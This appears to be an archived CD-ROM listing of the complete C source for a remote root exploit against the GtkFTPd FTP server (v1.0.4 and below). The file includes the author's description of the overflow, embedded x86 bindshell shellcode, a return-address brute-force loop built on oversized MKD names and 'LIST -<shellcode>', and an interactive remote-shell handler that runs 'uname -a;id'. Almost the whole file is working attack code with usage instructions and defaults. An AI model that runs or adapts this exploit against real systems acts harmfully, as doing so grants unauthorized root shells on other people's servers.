home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / gtkftpd / 2003.08.28.GtkFTPd.c < prev   
C/C++ Source or Header  |  2005-02-12  |  14KB  |  421 lines
  1. /**********************************************************
  2.  * [ gtkftpd[v1.0.4(and below)]: remote root buffer overflow exploit. ]
  3.  * 
  4.  * by: vade79/v9 v9 at fakehalo.deadpig.org (fakehalo/realhalo) 
  5.  * 
  6.  * Url: 
  7.  * http://gtkftpd.sourceforge.net/ 
  8.  * 
  9.  * GtkFtpd, versions v1.0.4 and below(as of this time), contain a 
  10.  * remotely exploitable buffer overflow. the overflow occurs when 
  11.  * GtkFtpd allocates the appropriate amount of memory to hold a 
  12.  * filename or directory(256 bytes), but does not account for the 
  13.  * date/user/stat prefix(~40 bytes) it prepends to the buffer. 
  14.  * 
  15.  * When exploited, things are made easier due to the fact that 
  16.  * GtkFtpd does not chroot() or drop its root privileges(as are 
  17.  * required to run the program itself) while running. And one step 
  18.  * more easier because when the buffer is overflown it is in a child 
  19.  * process, making it possible to brute force(not crash). 
  20.  * 
  21.  * Requirements to exploit: 
  22.  * - A valid account. (user/pass, anonymous will do) 
  23.  * - A writable directory. (usually gtkftpd makes any dir writable) 
  24.  * 
  25.  * Usage: 
  26.  * # cc xgtkftpd.c -o xgtkftpd 
  27.  * # ./xgtkftpd [-Psupcbanrd] -h hostname 
  28.  * *
  29.  * Exploit workings(ftp commands): 
  30.  * MKDIR <large name/causes overflow> 
  31.  * LIST -<shellcode> (where the overflow occurs) 
  32.  * 
  33.  * The exploitable code itself is found in src/sys_cmd.c: 
  34.  * 12:#define BUF_SIZE 256 
  35.  * 21:char buf[BUF_SIZE]; 
  36.  * 57:sprintf(buf, "%s\t%s", perm_date_siz, entr->d_name); 
  37.  * 
  38.  * Note: 
  39.  * Make sure the directory used to "LIST" does not already contain 
  40.  * any large filenames or directories, as the first overly long one 
  41.  * to list will cause the overflow. (which will fail the exploit) 
  42.  * *
  43.  * (should work out of the box on generic linux, tested on rh7.1. 
  44.  * squished, un-tab'd, un-space'd, exploit code; just how i like it.) 
  45.  **********************************************************/
  46. #include <stdio.h>
  47. #include <stdlib.h>
  48. #include <stdarg.h>
  49. #include <string.h>
  50. #include <unistd.h>
  51. #include <signal.h>
  52. #include <getopt.h>
  53. #include <ctype.h>
  54. #include <time.h>
  55. #include <netdb.h>
  56. #include <sys/socket.h>
  57. #include <sys/types.h>
  58. #include <sys/time.h>
  59. #include <netinet/in.h>
  60. #include <arpa/inet.h>
  61. /* default definitions, change at will. */
  62. #define DFLUSER "anonymous" /* no argument, default username. */
  63. #define DFLPASS "null@null.com" /* no argument, default password. */
  64. #define DFLDIR "/incoming" /* no argument, default +w directory. */
  65. #define DFLCLM 80 /* default screen width to use. */
  66. #define DFLADDR 0xbffffffa /* base brute address. */
  67. #define TIMEOUT 10 /* connection timeout. */
  68. static char x86_exec[]= /* bindshell(sport), modded from netric. */
  69.  /* port defined in byte 20, and 21; in a 'short' cast form. */
  70.  "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31"
  71.  "\xd2\x52\x66\x68\x00\x00\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89"
  72.  "\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80"
  73.  "\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd"
  74.  "\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
  75.  "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
  76. /* protos/functions. */
  77. char *getdir(unsigned int);
  78. char *getbdir(void);
  79. char *getcode(void);
  80. void filter_text(char *);
  81. void ftp_printf(int,char *,...);
  82. void ftp_clean(int);
  83. void ftp_read(int);
  84. void ftp_parse(int);
  85. void ftp_connect(void);
  86. void getshell(int,unsigned int);
  87. void printe(char *,short);
  88. void usage(char *);
  89. void sig_ctrlc(){printe("user aborted.",1);}
  90. void sig_alarm(){printe("alarm/timeout hit.",1);}
  91. void sig_pipe(){printe("connection closed/failed.",1);}
  92. /* globals. (ease of use throughout) */
  93. unsigned short align=2; /* probably will never need to be otherwise. */
  94. unsigned short port=21; /* generic ftp daemon port. */
  95. unsigned short sport=7979; /* generic bindshell port. */
  96. unsigned short reverse=0; /* go upward, instead of downward */
  97. unsigned short no_io=0; /* do not show traffic. */
  98. unsigned int attempts=100; /* number of times to brute. */
  99. unsigned int columns=80; /* generic screen width. */
  100. unsigned int ftp_i=0; /* Nth time read ftp socket. */
  101. unsigned int baseaddr=DFLADDR; /* base address. (again) */
  102. char *host; /* hostname/target, a must have. */
  103. char *user; /* username to use. */
  104. char *pass; /* password to use. */
  105. char *writedir; /* need a writable directory. */
  106. char *basedir; /* gets filled in later. */
  107. /* program start. */
  108. int main(int argc,char **argv){
  109.  int chr=0;
  110.  printf("[*] gtkftpd[v1.0.4(and below)]: remote root buffer overflow"
  111.  " exploit.\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)\n\n");
  112.  /* set the chomp point, filter long lines. */
  113.  if(getenv("COLUMNS"))columns=atoi(getenv("COLUMNS"));
  114.  if(7>columns||columns>256)columns=DFLCLM;
  115.  while((chr=getopt(argc,argv,"h:P:s:u:p:c:b:a:n:rd"))!=EOF){
  116.   switch(chr){
  117.    case 'h':
  118.     if(!host&&!(host=(char *)strdup(optarg)))
  119.      printe("main(): allocating memory failed.",1);
  120.     break;
  121.    case 'P':
  122.     port=atoi(optarg);
  123.     break;
  124.    case 's':
  125.     sport=atoi(optarg);
  126.     break;
  127.    case 'u':
  128.     if(!user&&!(user=(char *)strdup(optarg)))
  129.      printe("main(): allocating memory failed.",1);
  130.     break;
  131.    case 'p':
  132.     if(!pass&&!(pass=(char *)strdup(optarg)))
  133.      printe("main(): allocating memory failed.",1);
  134.     break;
  135.    case 'c':
  136.     if(!writedir&&!(writedir=(char *)strdup(optarg)))
  137.      printe("main(): allocating memory failed.",1);
  138.     break;
  139.    case 'b':
  140.     sscanf(optarg,"%x",&baseaddr);
  141.     break;
  142.    case 'a':
  143.     align=atoi(optarg);
  144.     break;
  145.    case 'n':
  146.     attempts=atoi(optarg);
  147.     break;
  148.    case 'r':
  149.     reverse=1;
  150.     break;
  151.    case 'd':
  152.     no_io=1;
  153.     break;
  154.    default:
  155.     usage(argv[0]);
  156.     break; 
  157.   }
  158.  }
  159.  if(!host)
  160.   usage(argv[0]);
  161.  /* fill in the blanks, or out of bounds. */
  162.  if(!user)user=DFLUSER;
  163.  if(!pass)pass=DFLPASS;
  164.  if(!writedir)writedir=DFLDIR;
  165.  if(!baseaddr)baseaddr=DFLADDR;
  166.  if(align>3)align=2;
  167.  if(!((sport&0xff00)>>8)||!(sport&0x00ff)){
  168.   printf("[!] shell port defined contains null byte(s), using default.\n");
  169.   sport=7979; /* back to default. */
  170.  }
  171.  /* change the bindshell port. */
  172.  x86_exec[20]=(sport&0xff00)>>8;
  173.  x86_exec[21]=(sport&0x00ff);
  174.  /* verbose. */
  175.  printf("[*] target: %s:%d, identity: %s:%s.\n[*] directory: %s, brute"
  176.  " start: 0x%.8x, alignment: %d.\n[*] memory direction: %s, attempts: "
  177.  "%d, bindshell port: %d.\n\n",host,port,user,pass,writedir,baseaddr,
  178.  align,(!reverse?"downward":"upward"),attempts,sport);
  179.  signal(SIGINT,sig_ctrlc); /* explained/pretty exit. */
  180.  signal(SIGPIPE,sig_pipe); /* handle abnormal disconnects. */
  181.  ftp_connect(); /* do the magic, brute force. */
  182.  printe("brute force exhausted, failed.",0);
  183.  exit(0);
  184. }
  185. char *getdir(unsigned int offset){
  186.  unsigned int i=0;
  187.  char *buf;
  188.  /* 256 will fail; 255 or less. */
  189.  if(!(buf=(char *)malloc(255+1)))
  190.   printe("getdir(): allocating memory failed.",1);
  191.  memset(buf,0x0,255+1);
  192.  if(align)memset(buf,'x',align);
  193.  for(i=align;i<252;i+=4){
  194.  if(!reverse)*(long *)&buf[i]=(baseaddr-offset);
  195.  else *(long *)&buf[i]=(baseaddr+offset);
  196.  }
  197.  return(buf);
  198. }
  199. char *getbdir(void){
  200.  char *buf;
  201.  time_t ttt;
  202.  struct tm *ttm;
  203.  if(!(buf=(char *)malloc(32+1)))
  204.   printe("getbdir(): allocating memory failed",1);
  205.  ttt=time(NULL);
  206.  ttm=localtime(&ttt);
  207.  strftime(buf,32,"tmp_%H:%M:%S_%d-%m-%Y",ttm);
  208.  return(buf);
  209. }
  210. char *getcode(void){
  211.  char *buf;
  212.  if(!(buf=(char *)malloc(512+1)))
  213.   printe("getcode(): allocating memory failed",1);
  214.  memset(buf,0x90,(512-strlen(x86_exec)));
  215.  memcpy(buf+(512-strlen(x86_exec)),x86_exec,strlen(x86_exec));
  216.  return(buf);
  217. }
  218. void filter_text(char *ptr){
  219.  unsigned int i=0;
  220.  for(i=0;i<strlen(ptr);i++){
  221.   /* keep it short and sweet. */
  222.   if(i>=(columns-3)){
  223.    ptr[i--]=0x0;
  224.    ptr[i--]='.';
  225.    ptr[i--]='.';
  226.    ptr[i]='.';
  227.   }
  228.   /* don't make \r or \n a '?'. */
  229.   else if(ptr[i]=='\r'||ptr[i]=='\n')ptr[i]=0x0;
  230.   /* don't ugly the local terminal. */
  231.   else if(!isprint(ptr[i]))ptr[i]='?';
  232.  }
  233.  return;
  234. }
  235. void ftp_printf(int sock,char *fmt,...){
  236.  char *buf;
  237.  va_list ap;
  238.  if(!(buf=(char *)malloc(1024+1)))
  239.   printe("ftp_printf(): allocating memory failed.",1);
  240.  memset(buf,0x0,1024+1);
  241.  va_start(ap,fmt);
  242.  vsnprintf(buf,1024,fmt,ap);
  243.  va_end(ap);
  244.  write(sock,buf,strlen(buf)); /* write it, then mod it for display. */
  245.  filter_text(buf);
  246.  if(!no_io)
  247.   printf("-> %s\n",buf);
  248.  free(buf);
  249.  return;
  250. }
  251. void ftp_clean(int sock){
  252.  ftp_printf(sock,"CWD ..\r\n");
  253.  ftp_read(sock);
  254.  ftp_printf(sock,"RMD %s\r\n",basedir);
  255.  ftp_read(sock);
  256.  ftp_printf(sock,"QUIT\r\n");
  257.  ftp_read(sock);
  258.  return;
  259. }
  260. void ftp_read(int sock){
  261.  char *buf;
  262.  if(!(buf=(char *)malloc(1024+1)))
  263.   printe("ftp_read(): allocating memory failed.",1);
  264.  memset(buf,0x0,1024);
  265.  read(sock,buf,1024);
  266.  filter_text(buf);
  267.  if(!no_io)
  268.   printf("<- %s\n",buf);
  269.  /* some initial reply checking, not too much. */
  270.  if(!ftp_i)
  271.   if(!strstr(buf,"GtkFTPd"))
  272.    printe("this exploit is only for GtkFTPd, failed.",1);
  273.  if(ftp_i==2)
  274.   if(strncmp(buf,"230",3))
  275.    printe("invalid username/password, failed.",1);
  276.  if(ftp_i==3)
  277.   if(strncmp(buf,"250",3))
  278.    printe("invalid writable directory, failed. (try \"/\")",1);
  279.  free(buf);
  280.  ftp_i++; /* increase the response identifier. */
  281.  return;
  282. }
  283. void ftp_parse(int sock){
  284.  unsigned int offset=0;
  285.  ftp_read(sock); /* get the banner. */
  286.  ftp_printf(sock,"USER %s\r\n",user);
  287.  ftp_read(sock);
  288.  ftp_printf(sock,"PASS %s\r\n",pass);
  289.  ftp_read(sock);
  290.  ftp_printf(sock,"CWD %s\r\n",writedir);
  291.  ftp_read(sock);
  292.  basedir=getbdir(); /* tmp dir of our own to use. */
  293.  ftp_printf(sock,"MKD %s\r\n",basedir);
  294.  ftp_read(sock);
  295.  ftp_printf(sock,"CWD %s\r\n",basedir);
  296.  ftp_read(sock);
  297.  while(offset<(attempts*400)){ /* if it hasn't yet, it's not going to. */
  298.   /* slight null-byte/CR check, only needs to check the last byte. */
  299.   if((!reverse&&!((baseaddr-offset)&0xff))||(reverse&&!((baseaddr+offset)
  300.   &0xff))||(!reverse&&((baseaddr-offset)&0xff)=='\n')||(reverse&&
  301.   ((baseaddr+offset)&0xff)=='\n')){
  302.    printf("[!] brute address contains null-byte/CR, increasing offset "
  303.    "by one byte.\n");
  304.    offset++; /* one byte off if reversed won't hurt here. (401) */
  305.   }
  306.   /* make the evil oversized directory. (255 or less bytes) */
  307.   ftp_printf(sock,"MKD %s\r\n",getdir(offset));
  308.   ftp_read(sock);
  309.   /* date+directory exceeds 256 byte buffer, the exploit. */
  310.   sleep(1); /* delay insurance. */
  311.   ftp_printf(sock,"LIST -%s\r\n",getcode());
  312.   /* nothing to read here, and gtkftpd processes (the exploit) */
  313.   /* before the ftp list connection is made, making it */
  314.   /* pointless to view the list. */
  315.   sleep(1); /* delay insurance, again, just to be sure. */
  316.   /* delete directory, multiples will cause failure(s). */
  317.   ftp_printf(sock,"RMD %s\r\n",getdir(offset));
  318.   ftp_read(sock);
  319.   getshell(sock,offset);
  320.   offset+=400; /* always at least 400 nops in a row, in shellcode. */
  321.  }
  322.  ftp_clean(sock);
  323.  close(sock);
  324.  return;
  325. }
  326. void ftp_connect(void){
  327.  int sock;
  328.  struct hostent *t;
  329.  struct sockaddr_in s;
  330.  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  331.  s.sin_family=AF_INET;
  332.  s.sin_port=htons(port);
  333.  if((s.sin_addr.s_addr=inet_addr(host))){
  334.   if(!(t=gethostbyname(host)))
  335.    printe("couldn't resolve hostname.",1);
  336.   memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
  337.  }
  338.  printf("[*] attempting to connect: %s:%d.\n",host,port);
  339.  signal(SIGALRM,sig_alarm);
  340.  alarm(TIMEOUT);
  341.  if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  342.   printe("gtkftpd connection failed.",1);
  343.  alarm(0);
  344.  printf("[*] connected successfully: %s:%d.\n",host,port);
  345.  ftp_parse(sock);
  346.  return;
  347. }
  348. void getshell(int ftpsock,unsigned int offset){
  349.  int sock,r;
  350.  fd_set fds;
  351.  char buf[4096+1];
  352.  struct hostent *he;
  353.  struct sockaddr_in sa;
  354.  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  355.   printe("getshell(): socket() failed.",1);
  356.  sa.sin_family=AF_INET;
  357.  if((sa.sin_addr.s_addr=inet_addr(host))){
  358.   if(!(he=gethostbyname(host)))
  359.    printe("getshell(): couldn't resolve.",1);
  360.   memcpy((char *)&sa.sin_addr,(char *)he->h_addr,sizeof(sa.sin_addr));
  361.  }
  362.  sa.sin_port=htons(sport);
  363.  signal(SIGALRM,sig_alarm);
  364.  alarm(TIMEOUT);
  365.  printf("[*] checking for bindshell: %s:%d. (0x%.8x)\n",host,sport,
  366.  (!reverse?(baseaddr-offset):(baseaddr+offset)));
  367.  if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  368.   printf("[!] connection failed: %s:%d.\n",host,sport);
  369.   close(sock); /* don't want fd's to fill up. */
  370.   alarm(0);
  371.   return;
  372.  }
  373.  alarm(0);
  374.  printf("[*] successfully connected: %s:%d.\n",host,sport);
  375.  printf("[*] attempting to cleanup leftover directory(s).\n");
  376.  ftp_clean(ftpsock);
  377.  close(ftpsock);
  378.  printf("[*] entering remote shell. (%s:%d)\n\n",host,sport);
  379.  signal(SIGINT,SIG_IGN);
  380.  write(sock,"cd /;uname -a;id\n",18);
  381.  while(1){
  382.   FD_ZERO(&fds);
  383.   FD_SET(0,&fds);
  384.   FD_SET(sock,&fds);
  385.   if(select(sock+1,&fds,0,0,0)<1)
  386.    printe("getshell(): select() failed.",1);
  387.   if(FD_ISSET(0,&fds)){
  388.    if((r=read(0,buf,4096))<1)
  389.     printe("getshell(): read() failed.",1);
  390.    if(write(sock,buf,r)!=r)
  391.     printe("getshell(): write() failed.",1);
  392.   }
  393.   if(FD_ISSET(sock,&fds)){
  394.    if((r=read(sock,buf,4096))<1)exit(0);
  395.    write(1,buf,r);
  396.   }
  397.  }
  398.  close(sock);
  399.  return;
  400. }
  401. void printe(char *err,short e){
  402.  printf("[!] error: %s\n",err);
  403.  if(e)exit(1);
  404.  return;
  405. }
  406. void usage(char *name){
  407.  printf(" usage: %s [options] -h hostname\n\n options:\n"
  408.  " -h <string>\tdefines the target host/ip.\t(REQUIRED)\n"
  409.  " -P <number>\tdefines the target port.\t(%d)\n"
  410.  " -s <number>\tdefines the bindshell port.\t(%d)\n"
  411.  " -u <string>\tdefines the username.\t\t(\"%s\")\n"
  412.  " -p <string>\tdefines the password.\t\t(\"%s\")\n"
  413.  " -c <string>\tdefines the writable directory.\t(\"%s\")\n"
  414.  " -b <string>\tdefines the base brute address.\t(0x%.8x)\n"
  415.  " -a <number>\tdefines the alignment.\t\t(%d)\n"
  416.  " -n <number>\tdefines the number of attempts.\t(%d)\n"
  417.  " -r\t\tgo upward in memory, instead of downward.\n"
  418.  " -d\t\tdo not show verbose ftp in/out traffic.\n\n",
  419.  name,port,sport,DFLUSER,DFLPASS,DFLDIR,DFLADDR,align,attempts);
  420.  exit(0);
  421. }